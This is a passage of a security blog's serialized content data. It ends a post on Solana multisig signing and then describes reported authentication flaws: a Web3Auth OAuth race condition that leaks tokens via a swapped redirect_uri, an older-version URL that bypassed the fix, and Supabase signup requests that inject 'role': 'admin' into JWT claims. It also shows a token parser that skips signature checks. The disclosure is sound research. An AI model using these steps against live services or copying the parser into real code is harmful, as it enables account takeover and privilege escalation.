authority);\n}\n",[67140],{"type":23,"tag":135,"props":67141,"children":67142},{"__ignoreMap":7},[67143,67202,67258],{"type":23,"tag":139,"props":67144,"children":67145},{"class":141,"line":142},[67146,67150,67155,67159,67163,67168,67172,67177,67181,67185,67189,67193,67198],{"type":23,"tag":139,"props":67147,"children":67148},{"style":279},[67149],{"type":28,"value":308},{"type":23,"tag":139,"props":67151,"children":67152},{"style":245},[67153],{"type":28,"value":67154}," print_config_show_authority",{"type":23,"tag":139,"props":67156,"children":67157},{"style":259},[67158],{"type":28,"value":262},{"type":23,"tag":139,"props":67160,"children":67161},{"style":279},[67162],{"type":28,"value":7663},{"type":23,"tag":139,"props":67164,"children":67165},{"style":259},[67166],{"type":28,"value":67167}," PrintConfig",{"type":23,"tag":139,"props":67169,"children":67170},{"style":982},[67171],{"type":28,"value":2573},{"type":23,"tag":139,"props":67173,"children":67174},{"style":294},[67175],{"type":28,"value":67176}," print_config",{"type":23,"tag":139,"props":67178,"children":67179},{"style":259},[67180],{"type":28,"value":1052},{"type":23,"tag":139,"props":67182,"children":67183},{"style":279},[67184],{"type":28,"value":7663},{"type":23,"tag":139,"props":67186,"children":67187},{"style":259},[67188],{"type":28,"value":18865},{"type":23,"tag":139,"props":67190,"children":67191},{"style":982},[67192],{"type":28,"value":2573},{"type":23,"tag":139,"props":67194,"children":67195},{"style":294},[67196],{"type":28,"value":67197}," authority",{"type":23,"tag":139,"props":67199,"children":67200},{"style":259},[67201],{"type":28,"value":12815},{"type":23,"tag":139,"props":67203,"children":67204},{"class":141,"line":151},[67205,67209,67213,67217,67222,67226,67230,67235,67239,67244,67248,67253],{"type":23,"tag":139,"props":67206,"children":67207},{"style":319},[67208],{"type":28,"value":322},{"type":23,"tag":139,"props":67210,"children":67211},{"style":294},[67212],{"type":28,"value":67176},{"type":23,"tag":139,"props":67214,"children":67215},{"style":259},[67216],{"type":28,"value":11768},{"type":23,"tag":139,"props":67218,"children":67219},{"style":294},[67220],{"type":28,"value":67221},"expert_mode",{"type":23,"tag":139,"props":67223,"children":67224},{"style":982},[67225],{"type":28,"value":21717},{"type":23,"tag":139,"props":67227,"children":67228},{"style":982},[67229],{"type":28,"value":10875},{"type":23,"tag":139,"props":67231,"children":67232},{"style":245},[67233],{"type":28,"value":67234},"pubkeys_equal",{"type":23,"tag":139,"props":67236,"children":67237},{"style":259},[67238],{"type":28,"value":262},{"type":23,"tag":139,"props":67240,"children":67241},{"style":294},[67242],{"type":28,"value":67243},"print_config",{"type":23,"tag":139,"props":67245,"children":67246},{"style":259},[67247],{"type":28,"value":11768},{"type":23,"tag":139,"props":67249,"children":67250},{"style":294},[67251],{"type":28,"value":67252},"signer_pubkey",{"type":23,"tag":139,"props":67254,"children":67255},{"style":259},[67256],{"type":28,"value":67257},", authority);\n",{"type":23,"tag":139,"props":67259,"children":67260},{"class":141,"line":160},[67261],{"type":23,"tag":139,"props":67262,"children":67263},{"style":259},[67264],{"type":28,"value":1897},{"type":23,"tag":24,"props":67266,"children":67267},{},[67268],{"type":28,"value":67269},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":23,"tag":24,"props":67271,"children":67272},{},[67273],{"type":28,"value":67274},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":23,"tag":24,"props":67276,"children":67277},{},[67278],{"type":28,"value":67279},"We can then use the following procedure.",{"type":23,"tag":797,"props":67281,"children":67282},{},[67283,67288,67293,67298,67303],{"type":23,"tag":801,"props":67284,"children":67285},{},[67286],{"type":28,"value":67287},"Ensure all signers have no durable nonce accounts.",{"type":23,"tag":801,"props":67289,"children":67290},{},[67291],{"type":28,"value":67292},"The first signer signs and submits the transaction.",{"type":23,"tag":801,"props":67294,"children":67295},{},[67296],{"type":28,"value":67297},"Wait two minutes for all recent blockhashes to expire.",{"type":23,"tag":801,"props":67299,"children":67300},{},[67301],{"type":28,"value":67302},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":23,"tag":801,"props":67304,"children":67305},{},[67306],{"type":28,"value":67307},"Repeat steps 2 to 4 for each signer",{"type":23,"tag":41,"props":67309,"children":67311},{"id":67310},"beyond",[67312],{"type":28,"value":67313},"Beyond",{"type":23,"tag":24,"props":67315,"children":67316},{},[67317],{"type":28,"value":67318},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":23,"tag":24,"props":67320,"children":67321},{},[67322,67324,67331],{"type":28,"value":67323},"For example, pcaversaccio wrote a tool to ",{"type":23,"tag":64,"props":67325,"children":67328},{"href":67326,"rel":67327},"https://github.com/pcaversaccio/safe-tx-hashes-util",[68],[67329],{"type":28,"value":67330},"validate Safe transaction hashes",{"type":28,"value":67332},". As the space matures, we hope more open source tooling will come to light.",{"type":23,"tag":784,"props":67334,"children":67336},{"className":67335,"dataFootnotes":7},[787],[67337,67342],{"type":23,"tag":41,"props":67338,"children":67340},{"className":67339,"id":643},[792],[67341],{"type":28,"value":795},{"type":23,"tag":797,"props":67343,"children":67344},{},[67345],{"type":23,"tag":801,"props":67346,"children":67347},{"id":803},[67348,67350,67358,67360],{"type":28,"value":67349},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":23,"tag":64,"props":67351,"children":67355},{"href":67352,"rel":67353,":style":67354},"https://twitter.com/PierreArowana",[68],"color: #B1D0EE; text-decoration: underline;",[67356],{"type":28,"value":67357},"@PierreArowana",{"type":28,"value":67359}," for pointing this out to me. ",{"type":23,"tag":64,"props":67361,"children":67363},{"href":809,"ariaLabel":810,"className":67362,"dataFootnoteBackref":7},[812],[67364],{"type":28,"value":815},{"type":23,"tag":817,"props":67366,"children":67367},{},[67368],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":67370},[67371,67375,67376,67377],{"id":65567,"depth":151,"text":65570,"children":67372},[67373,67374],{"id":65578,"depth":160,"text":65581},{"id":65857,"depth":160,"text":65860},{"id":66578,"depth":151,"text":66581},{"id":67310,"depth":151,"text":67313},{"id":643,"depth":151,"text":795},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":67382,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":67383,"description":67384,"date":67385,"author":67386,"image":67387,"isFeatured":15,"onBlogPage":15,"tags":67389,"body":67390,"_type":831,"_id":69088,"_source":833,"_file":69089,"_stem":69090,"_extension":836},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[29088,29087],{"src":67388},"/posts/web2-in-web3/title.jpg",[30028],{"type":20,"children":67391,"toc":69070},[67392,67397,67402,67407,67433,67439,67444,67450,67471,67477,67482,67489,67502,67532,67538,67582,67589,67595,67628,67649,67657,67676,67683,67688,67694,67699,67704,67729,67734,67740,67746,67767,67773,67800,67828,67835,67840,67845,68190,68194,68216,68222,68243,68257,68270,68275,68291,68296,69025,69030,69035,69040,69052,69056,69061,69066],{"type":23,"tag":24,"props":67393,"children":67394},{},[67395],{"type":28,"value":67396},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":23,"tag":24,"props":67398,"children":67399},{},[67400],{"type":28,"value":67401},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":23,"tag":24,"props":67403,"children":67404},{},[67405],{"type":28,"value":67406},"In this article, we will discuss three cases we discovered:",{"type":23,"tag":797,"props":67408,"children":67409},{},[67410,67415,67428],{"type":23,"tag":801,"props":67411,"children":67412},{},[67413],{"type":28,"value":67414},"OAuth Logic Vulnerability on an Authentication Provider",{"type":23,"tag":801,"props":67416,"children":67417},{},[67418,67420,67426],{"type":28,"value":67419},"Supabase ",{"type":23,"tag":135,"props":67421,"children":67423},{"className":67422},[],[67424],{"type":28,"value":67425},"user_metadata",{"type":28,"value":67427}," misconfiguration",{"type":23,"tag":801,"props":67429,"children":67430},{},[67431],{"type":28,"value":67432},"OAuth abuse in localhost development environment",{"type":23,"tag":41,"props":67434,"children":67436},{"id":67435},"abusing-oauth-authentication-logic",[67437],{"type":28,"value":67438},"Abusing OAuth Authentication Logic",{"type":23,"tag":24,"props":67440,"children":67441},{},[67442],{"type":28,"value":67443},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":23,"tag":666,"props":67445,"children":67447},{"id":67446},"web3auth-introduction",[67448],{"type":28,"value":67449},"Web3Auth Introduction",{"type":23,"tag":24,"props":67451,"children":67452},{},[67453,67460,67462,67469],{"type":23,"tag":64,"props":67454,"children":67457},{"href":67455,"rel":67456},"https://web3auth.io/",[68],[67458],{"type":28,"value":67459},"Web3Auth",{"type":28,"value":67461}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":23,"tag":64,"props":67463,"children":67466},{"href":67464,"rel":67465},"https://oauth.net/2/",[68],[67467],{"type":28,"value":67468},"OAuth2",{"type":28,"value":67470}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":23,"tag":666,"props":67472,"children":67474},{"id":67473},"web3auth-authentication-flow",[67475],{"type":28,"value":67476},"Web3Auth Authentication flow",{"type":23,"tag":24,"props":67478,"children":67479},{},[67480],{"type":28,"value":67481},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":23,"tag":24,"props":67483,"children":67484},{},[67485],{"type":23,"tag":429,"props":67486,"children":67488},{"alt":48476,"src":67487},"/posts/web2-in-web3/auth-flow.png",[],{"type":23,"tag":24,"props":67490,"children":67491},{},[67492,67494,67500],{"type":28,"value":67493},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":23,"tag":135,"props":67495,"children":67497},{"className":67496},[],[67498],{"type":28,"value":67499},"client_id",{"type":28,"value":67501},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":23,"tag":24,"props":67503,"children":67504},{},[67505,67507,67513,67515,67521,67523,67530],{"type":28,"value":67506},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":23,"tag":135,"props":67508,"children":67510},{"className":67509},[],[67511],{"type":28,"value":67512},"/start",{"type":28,"value":67514}," validates the ",{"type":23,"tag":135,"props":67516,"children":67518},{"className":67517},[],[67519],{"type":28,"value":67520},"redirect_url",{"type":28,"value":67522}," against the configured ",{"type":23,"tag":64,"props":67524,"children":67527},{"href":67525,"rel":67526},"https://web3auth.io/docs/dashboard-setup/whitelisting",[68],[67528],{"type":28,"value":67529},"whitelist",{"type":28,"value":67531}," to ensure it matches one of the allowed URLs.",{"type":23,"tag":666,"props":67533,"children":67535},{"id":67534},"in-transit-cryptography",[67536],{"type":28,"value":67537},"In-transit Cryptography",{"type":23,"tag":24,"props":67539,"children":67540},{},[67541,67543,67550,67552,67558,67560,67566,67568,67573,67575,67580],{"type":28,"value":67542},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":23,"tag":64,"props":67544,"children":67547},{"href":67545,"rel":67546},"https://en.wikipedia.org/wiki/Key_(cryptography)",[68],[67548],{"type":28,"value":67549},"cryptographic key",{"type":28,"value":67551}," is derived from the ",{"type":23,"tag":135,"props":67553,"children":67555},{"className":67554},[],[67556],{"type":28,"value":67557},"sessionId",{"type":28,"value":67559},"  sent in the ",{"type":23,"tag":135,"props":67561,"children":67563},{"className":67562},[],[67564],{"type":28,"value":67565},"GET",{"type":28,"value":67567}," parameter to the ",{"type":23,"tag":135,"props":67569,"children":67571},{"className":67570},[],[67572],{"type":28,"value":67512},{"type":28,"value":67574},". Since the ",{"type":23,"tag":135,"props":67576,"children":67578},{"className":67577},[],[67579],{"type":28,"value":67557},{"type":28,"value":67581}," can be controlled, it allows us to send and receive data from the session server.",{"type":23,"tag":24,"props":67583,"children":67584},{},[67585],{"type":23,"tag":429,"props":67586,"children":67588},{"alt":48476,"src":67587},"/posts/web2-in-web3/image-2.png",[],{"type":23,"tag":666,"props":67590,"children":67592},{"id":67591},"race-condition",[67593],{"type":28,"value":67594},"Race Condition",{"type":23,"tag":24,"props":67596,"children":67597},{},[67598,67600,67605,67607,67613,67615,67620,67622,67627],{"type":28,"value":67599},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":23,"tag":135,"props":67601,"children":67603},{"className":67602},[],[67604],{"type":28,"value":67512},{"type":28,"value":67606}," and later used in the ",{"type":23,"tag":135,"props":67608,"children":67610},{"className":67609},[],[67611],{"type":28,"value":67612},"/end",{"type":28,"value":67614}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation (",{"type":23,"tag":135,"props":67616,"children":67618},{"className":67617},[],[67619],{"type":28,"value":67512},{"type":28,"value":67621},") but before  use (",{"type":23,"tag":135,"props":67623,"children":67625},{"className":67624},[],[67626],{"type":28,"value":67612},{"type":28,"value":18750},{"type":23,"tag":24,"props":67629,"children":67630},{},[67631,67633,67640,67642,67647],{"type":28,"value":67632},"To exploit this ",{"type":23,"tag":64,"props":67634,"children":67637},{"href":67635,"rel":67636},"https://portswigger.net/web-security/race-conditions",[68],[67638],{"type":28,"value":67639},"race condition",{"type":28,"value":67641},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":23,"tag":135,"props":67643,"children":67645},{"className":67644},[],[67646],{"type":28,"value":67557},{"type":28,"value":67648}," but with modified malicious parameters.",{"type":23,"tag":24,"props":67650,"children":67651},{},[67652],{"type":23,"tag":56,"props":67653,"children":67654},{},[67655],{"type":28,"value":67656},"What can be modified to achieve something impactful?",{"type":23,"tag":24,"props":67658,"children":67659},{},[67660,67662,67668,67670,67675],{"type":28,"value":67661},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":23,"tag":135,"props":67663,"children":67665},{"className":67664},[],[67666],{"type":28,"value":67667},"redirect_uri",{"type":28,"value":67669}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":23,"tag":135,"props":67671,"children":67673},{"className":67672},[],[67674],{"type":28,"value":67499},{"type":28,"value":73},{"type":23,"tag":24,"props":67677,"children":67678},{},[67679],{"type":23,"tag":429,"props":67680,"children":67682},{"alt":48476,"src":67681},"/posts/web2-in-web3/image-3.png",[],{"type":23,"tag":24,"props":67684,"children":67685},{},[67686],{"type":28,"value":67687},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":23,"tag":666,"props":67689,"children":67691},{"id":67690},"patch-bypass",[67692],{"type":28,"value":67693},"Patch & Bypass",{"type":23,"tag":24,"props":67695,"children":67696},{},[67697],{"type":28,"value":67698},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":23,"tag":24,"props":67700,"children":67701},{},[67702],{"type":28,"value":67703},"To bypass the fix we were able to change the version in the URL:",{"type":23,"tag":14699,"props":67705,"children":67706},{},[67707,67718],{"type":23,"tag":801,"props":67708,"children":67709},{},[67710,67716],{"type":23,"tag":135,"props":67711,"children":67713},{"className":67712},[],[67714],{"type":28,"value":67715},"https://auth.web3auth.io/v8/start",{"type":28,"value":67717}," (latest version)",{"type":23,"tag":801,"props":67719,"children":67720},{},[67721,67727],{"type":23,"tag":135,"props":67722,"children":67724},{"className":67723},[],[67725],{"type":28,"value":67726},"https://auth.web3auth.io/v6/start",{"type":28,"value":67728}," (bypass)",{"type":23,"tag":24,"props":67730,"children":67731},{},[67732],{"type":28,"value":67733},"We reported this issue, and it was addressed just as quickly!",{"type":23,"tag":41,"props":67735,"children":67737},{"id":67736},"supabase-metadata-manipulation",[67738],{"type":28,"value":67739},"Supabase metadata manipulation",{"type":23,"tag":666,"props":67741,"children":67743},{"id":67742},"supabase-authentication-flow",[67744],{"type":28,"value":67745},"Supabase Authentication flow",{"type":23,"tag":24,"props":67747,"children":67748},{},[67749,67756,67758,67765],{"type":23,"tag":64,"props":67750,"children":67753},{"href":67751,"rel":67752},"https://supabase.com/docs/guides/auth",[68],[67754],{"type":28,"value":67755},"Supabase",{"type":28,"value":67757}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":23,"tag":64,"props":67759,"children":67762},{"href":67760,"rel":67761},"https://jwt.io/",[68],[67763],{"type":28,"value":67764},"JWT",{"type":28,"value":67766}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":23,"tag":666,"props":67768,"children":67770},{"id":67769},"jwt-verification",[67771],{"type":28,"value":67772},"JWT verification",{"type":23,"tag":24,"props":67774,"children":67775},{},[67776,67778,67783,67784,67790,67792,67798],{"type":28,"value":67777},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":23,"tag":135,"props":67779,"children":67781},{"className":67780},[],[67782],{"type":28,"value":67425},{"type":28,"value":9002},{"type":23,"tag":135,"props":67785,"children":67787},{"className":67786},[],[67788],{"type":28,"value":67789},"identity_data",{"type":28,"value":67791},", in a signup request by manipulating the input inside the ",{"type":23,"tag":135,"props":67793,"children":67795},{"className":67794},[],[67796],{"type":28,"value":67797},"\"data\": {}",{"type":28,"value":67799}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":23,"tag":24,"props":67801,"children":67802},{},[67803,67805,67811,67812,67818,67820,67826],{"type":28,"value":67804},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":23,"tag":135,"props":67806,"children":67808},{"className":67807},[],[67809],{"type":28,"value":67810},"\"role\": \"admin\"",{"type":28,"value":11145},{"type":23,"tag":135,"props":67813,"children":67815},{"className":67814},[],[67816],{"type":28,"value":67817},"\"email_verified\": true",{"type":28,"value":67819},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":23,"tag":135,"props":67821,"children":67823},{"className":67822},[],[67824],{"type":28,"value":67825},"\"test\": \"test\"",{"type":28,"value":67827},", enabling us to inject arbitrary data into the final JWT token.",{"type":23,"tag":24,"props":67829,"children":67830},{},[67831],{"type":23,"tag":429,"props":67832,"children":67834},{"alt":48476,"src":67833},"/posts/web2-in-web3/image-4.png",[],{"type":23,"tag":24,"props":67836,"children":67837},{},[67838],{"type":28,"value":67839},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":23,"tag":24,"props":67841,"children":67842},{},[67843],{"type":28,"value":67844},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":23,"tag":128,"props":67846,"children":67848},{"className":29250,"code":67847,"language":29252,"meta":7,"style":7},"function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n",[67849],{"type":23,"tag":135,"props":67850,"children":67851},{"__ignoreMap":7},[67852,67877,67889,67958,68007,68055,68100,68123,68160,68176,68183],{"type":23,"tag":139,"props":67853,"children":67854},{"class":141,"line":142},[67855,67859,67864,67868,67873],{"type":23,"tag":139,"props":67856,"children":67857},{"style":279},[67858],{"type":28,"value":29264},{"type":23,"tag":139,"props":67860,"children":67861},{"style":245},[67862],{"type":28,"value":67863}," parseSupaBase",{"type":23,"tag":139,"props":67865,"children":67866},{"style":259},[67867],{"type":28,"value":262},{"type":23,"tag":139,"props":67869,"children":67870},{"style":294},[67871],{"type":28,"value":67872},"token",{"type":23,"tag":139,"props":67874,"children":67875},{"style":259},[67876],{"type":28,"value":12815},{"type":23,"tag":139,"props":67878,"children":67879},{"class":141,"line":151},[67880,67885],{"type":23,"tag":139,"props":67881,"children":67882},{"style":319},[67883],{"type":28,"value":67884},"    try",{"type":23,"tag":139,"props":67886,"children":67887},{"style":259},[67888],{"type":28,"value":1268},{"type":23,"tag":139,"props":67890,"children":67891},{"class":141,"line":160},[67892,67896,67900,67905,67909,67914,67918,67923,67927,67931,67936,67940,67945,67949,67954],{"type":23,"tag":139,"props":67893,"children":67894},{"style":279},[67895],{"type":28,"value":30789},{"type":23,"tag":139,"props":67897,"children":67898},{"style":259},[67899],{"type":28,"value":21041},{"type":23,"tag":139,"props":67901,"children":67902},{"style":294},[67903],{"type":28,"value":67904},"header",{"type":23,"tag":139,"props":67906,"children":67907},{"style":259},[67908],{"type":28,"value":1052},{"type":23,"tag":139,"props":67910,"children":67911},{"style":294},[67912],{"type":28,"value":67913},"payload",{"type":23,"tag":139,"props":67915,"children":67916},{"style":259},[67917],{"type":28,"value":1052},{"type":23,"tag":139,"props":67919,"children":67920},{"style":294},[67921],{"type":28,"value":67922},"signature",{"type":23,"tag":139,"props":67924,"children":67925},{"style":259},[67926],{"type":28,"value":6666},{"type":23,"tag":139,"props":67928,"children":67929},{"style":982},[67930],{"type":28,"value":1067},{"type":23,"tag":139,"props":67932,"children":67933},{"style":294},[67934],{"type":28,"value":67935}," token",{"type":23,"tag":139,"props":67937,"children":67938},{"style":259},[67939],{"type":28,"value":73},{"type":23,"tag":139,"props":67941,"children":67942},{"style":245},[67943],{"type":28,"value":67944},"split",{"type":23,"tag":139,"props":67946,"children":67947},{"style":259},[67948],{"type":28,"value":262},{"type":23,"tag":139,"props":67950,"children":67951},{"style":265},[67952],{"type":28,"value":67953},"'.'",{"type":23,"tag":139,"props":67955,"children":67956},{"style":259},[67957],{"type":28,"value":1820},{"type":23,"tag":139,"props":67959,"children":67960},{"class":141,"line":169},[67961,67965,67970,67974,67978,67982,67986,67990,67995,67999,68003],{"type":23,"tag":139,"props":67962,"children":67963},{"style":279},[67964],{"type":28,"value":30789},{"type":23,"tag":139,"props":67966,"children":67967},{"style":294},[67968],{"type":28,"value":67969}," decodedHeader",{"type":23,"tag":139,"props":67971,"children":67972},{"style":982},[67973],{"type":28,"value":985},{"type":23,"tag":139,"props":67975,"children":67976},{"style":294},[67977],{"type":28,"value":35418},{"type":23,"tag":139,"props":67979,"children":67980},{"style":259},[67981],{"type":28,"value":73},{"type":23,"tag":139,"props":67983,"children":67984},{"style":245},[67985],{"type":28,"value":37102},{"type":23,"tag":139,"props":67987,"children":67988},{"style":259},[67989],{"type":28,"value":262},{"type":23,"tag":139,"props":67991,"children":67992},{"style":245},[67993],{"type":28,"value":67994},"atob",{"type":23,"tag":139,"props":67996,"children":67997},{"style":259},[67998],{"type":28,"value":262},{"type":23,"tag":139,"props":68000,"children":68001},{"style":294},[68002],{"type":28,"value":67904},{"type":23,"tag":139,"props":68004,"children":68005},{"style":259},[68006],{"type":28,"value":5226},{"type":23,"tag":139,"props":68008,"children":68009},{"class":141,"line":178},[68010,68014,68019,68023,68027,68031,68035,68039,68043,68047,68051],{"type":23,"tag":139,"props":68011,"children":68012},{"style":279},[68013],{"type":28,"value":30789},{"type":23,"tag":139,"props":68015,"children":68016},{"style":294},[68017],{"type":28,"value":68018}," decodedPayload",{"type":23,"tag":139,"props":68020,"children":68021},{"style":982},[68022],{"type":28,"value":985},{"type":23,"tag":139,"props":68024,"children":68025},{"style":294},[68026],{"type":28,"value":35418},{"type":23,"tag":139,"props":68028,"children":68029},{"style":259},[68030],{"type":28,"value":73},{"type":23,"tag":139,"props":68032,"children":68033},{"style":245},[68034],{"type":28,"value":37102},{"type":23,"tag":139,"props":68036,"children":68037},{"style":259},[68038],{"type":28,"value":262},{"type":23,"tag":139,"props":68040,"children":68041},{"style":245},[68042],{"type":28,"value":67994},{"type":23,"tag":139,"props":68044,"children":68045},{"style":259},[68046],{"type":28,"value":262},{"type":23,"tag":139,"props":68048,"children":68049},{"style":294},[68050],{"type":28,"value":67913},{"type":23,"tag":139,"props":68052,"children":68053},{"style":259},[68054],{"type":28,"value":5226},{"type":23,"tag":139,"props":68056,"children":68057},{"class":141,"line":187},[68058,68062,68066,68071,68075,68079,68084,68088,68092,68096],{"type":23,"tag":139,"props":68059,"children":68060},{"style":319},[68061],{"type":28,"value":13755},{"type":23,"tag":139,"props":68063,"children":68064},{"style":259},[68065],{"type":28,"value":7594},{"type":23,"tag":139,"props":68067,"children":68068},{"style":294},[68069],{"type":28,"value":68070},"header:",{"type":23,"tag":139,"props":68072,"children":68073},{"style":294},[68074],{"type":28,"value":67969},{"type":23,"tag":139,"props":68076,"children":68077},{"style":259},[68078],{"type":28,"value":1052},{"type":23,"tag":139,"props":68080,"children":68081},{"style":294},[68082],{"type":28,"value":68083},"payload:",{"type":23,"tag":139,"props":68085,"children":68086},{"style":294},[68087],{"type":28,"value":68018},{"type":23,"tag":139,"props":68089,"children":68090},{"style":259},[68091],{"type":28,"value":1052},{"type":23,"tag":139,"props":68093,"children":68094},{"style":294},[68095],{"type":28,"value":67922},{"type":23,"tag":139,"props":68097,"children":68098},{"style":259},[68099],{"type":28,"value":16313},{"type":23,"tag":139,"props":68101,"children":68102},{"class":141,"line":196},[68103,68107,68111,68115,68119],{"type":23,"tag":139,"props":68104,"children":68105},{"style":259},[68106],{"type":28,"value":13790},{"type":23,"tag":139,"props":68108,"children":68109},{"style":319},[68110],{"type":28,"value":46308},{"type":23,"tag":139,"props":68112,"children":68113},{"style":259},[68114],{"type":28,"value":1042},{"type":23,"tag":139,"props":68116,"children":68117},{"style":294},[68118],{"type":28,"value":12875},{"type":23,"tag":139,"props":68120,"children":68121},{"style":259},[68122],{"type":28,"value":12815},{"type":23,"tag":139,"props":68124,"children":68125},{"class":141,"line":205},[68126,68131,68135,68139,68143,68148,68152,68156],{"type":23,"tag":139,"props":68127,"children":68128},{"style":294},[68129],{"type":28,"value":68130},"        console",{"type":23,"tag":139,"props":68132,"children":68133},{"style":259},[68134],{"type":28,"value":73},{"type":23,"tag":139,"props":68136,"children":68137},{"style":245},[68138],{"type":28,"value":12875},{"type":23,"tag":139,"props":68140,"children":68141},{"style":259},[68142],{"type":28,"value":262},{"type":23,"tag":139,"props":68144,"children":68145},{"style":265},[68146],{"type":28,"value":68147},"'Error parsing token:'",{"type":23,"tag":139,"props":68149,"children":68150},{"style":259},[68151],{"type":28,"value":1052},{"type":23,"tag":139,"props":68153,"children":68154},{"style":294},[68155],{"type":28,"value":12875},{"type":23,"tag":139,"props":68157,"children":68158},{"style":259},[68159],{"type":28,"value":1820},{"type":23,"tag":139,"props":68161,"children":68162},{"class":141,"line":214},[68163,68167,68172],{"type":23,"tag":139,"props":68164,"children":68165},{"style":319},[68166],{"type":28,"value":13755},{"type":23,"tag":139,"props":68168,"children":68169},{"style":279},[68170],{"type":28,"value":68171}," null",{"type":23,"tag":139,"props":68173,"children":68174},{"style":259},[68175],{"type":28,"value":995},{"type":23,"tag":139,"props":68177,"children":68178},{"class":141,"line":1320},[68179],{"type":23,"tag":139,"props":68180,"children":68181},{"style":259},[68182],{"type":28,"value":1335},{"type":23,"tag":139,"props":68184,"children":68185},{"class":141,"line":1329},[68186],{"type":23,"tag":139,"props":68187,"children":68188},{"style":259},[68189],{"type":28,"value":1897},{"type":23,"tag":666,"props":68191,"children":68192},{"id":38224},[68193],{"type":28,"value":38227},{"type":23,"tag":24,"props":68195,"children":68196},{},[68197,68199,68206,68208,68214],{"type":28,"value":68198},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":23,"tag":64,"props":68200,"children":68203},{"href":68201,"rel":68202},"https://supabase.com/docs/guides/database/postgres/row-level-security",[68],[68204],{"type":28,"value":68205},"Row-Level Security",{"type":28,"value":68207}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":23,"tag":135,"props":68209,"children":68211},{"className":68210},[],[68212],{"type":28,"value":68213},"app_metadata",{"type":28,"value":68215},". These fields must be strictly validated at every step of their creation and update processes.",{"type":23,"tag":41,"props":68217,"children":68219},{"id":68218},"oauth-in-development-environments",[68220],{"type":28,"value":68221},"OAuth in development environments",{"type":23,"tag":24,"props":68223,"children":68224},{},[68225,68227,68234,68236,68241],{"type":28,"value":68226},"After watching a ",{"type":23,"tag":64,"props":68228,"children":68231},{"href":68229,"rel":68230},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[68],[68232],{"type":28,"value":68233},"talk",{"type":28,"value":68235}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":23,"tag":135,"props":68237,"children":68239},{"className":68238},[],[68240],{"type":28,"value":67667},{"type":28,"value":68242}," parameter during the OAuth flow.",{"type":23,"tag":24,"props":68244,"children":68245},{},[68246,68248,68255],{"type":28,"value":68247},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without 